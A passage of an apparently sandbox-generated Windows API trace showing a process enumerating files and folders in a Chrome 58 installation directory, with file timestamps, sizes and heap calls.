ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff03ddea, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3e2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff069d1c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x487e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff08c00a, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4d450, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0b7f3c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x500e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0e3e6e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e63d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff10fda0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f596, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff13208e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff162de2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff18ed14, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5402d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1b1002, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bb7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1d8112, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x79e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff206755, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x496bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff22d865, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x44b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff25bea8, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xbcd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff298f51, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2c4e83, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9efb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2f0db5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f508, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff31cce7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff343df7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5af42, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3687f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4217c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0249.599] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0249.599] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0249.600] GetProcessHeap () returned 0x550000 [0249.600] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0249.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0249.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0249.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0249.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0249.601] GetProcessHeap () returned 0x550000 [0249.601] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a7fb0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3b6a16, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0249.606] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~2.PNG")) returned 0 [0249.606] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0249.607] GetProcessHeap () returned 0x550000 [0249.607] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0249.607] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0249.607] GetProcessHeap () returned 0x550000 [0249.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0249.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0249.607] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.608] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0249.608] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0249.608] GetProcessHeap () returned 0x550000 [0249.608] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0249.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0249.608] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.608] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0249.608] GetProcessHeap () returned 0x550000 [0249.608] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0249.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.614] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 